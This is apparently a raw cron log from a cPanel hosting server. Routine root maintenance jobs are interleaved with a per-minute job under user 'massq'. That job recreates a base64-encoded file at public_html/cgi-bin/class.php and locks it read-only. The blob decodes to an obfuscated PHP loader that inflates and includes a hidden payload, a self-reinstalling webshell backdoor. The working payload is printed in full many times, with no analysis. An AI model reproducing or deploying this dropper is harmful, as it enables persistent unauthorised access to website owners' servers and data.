Sep  1 20:35:01 server CROND[17357]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:35:01 server CROND[17361]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 20:35:01 server CROND[17359]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 20:35:01 server CROND[17358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:36:01 server CROND[18186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:36:01 server CROND[18187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:36:01 server CROND[18189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:37:01 server CROND[18654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:37:01 server CROND[18655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:37:01 server CROND[18656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:38:01 server CROND[19027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:38:01 server CROND[19028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:38:01 server CROND[19029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:39:01 server CROND[19406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:39:01 server CROND[19408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:39:01 server CROND[19407]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 20:39:01 server CROND[19416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:40:01 server CROND[19864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:40:01 server CROND[19866]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:40:01 server CROND[19869]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 20:40:01 server CROND[19871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:40:01 server CROND[19870]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 20:40:01 server CROND[19868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:40:01 server CROND[19872]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 20:40:01 server CROND[19873]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:41:01 server CROND[20718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:41:01 server CROND[20719]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:41:01 server CROND[20720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:42:01 server CROND[21206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:42:01 server CROND[21207]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 20:42:01 server CROND[21209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:42:01 server CROND[21208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:43:01 server CROND[21589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:43:01 server CROND[21590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:43:01 server CROND[21592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:44:01 server CROND[21987]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:44:01 server CROND[21988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:44:01 server CROND[21989]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:45:01 server CROND[22435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:45:01 server CROND[22436]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 20:45:01 server CROND[22437]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:45:01 server CROND[22438]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:45:01 server CROND[22439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:45:01 server CROND[22440]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 20:45:01 server CROND[22441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:46:01 server CROND[23443]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:46:01 server CROND[23444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:46:01 server CROND[23445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:47:01 server CROND[23890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:47:01 server CROND[23891]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:47:01 server CROND[23892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
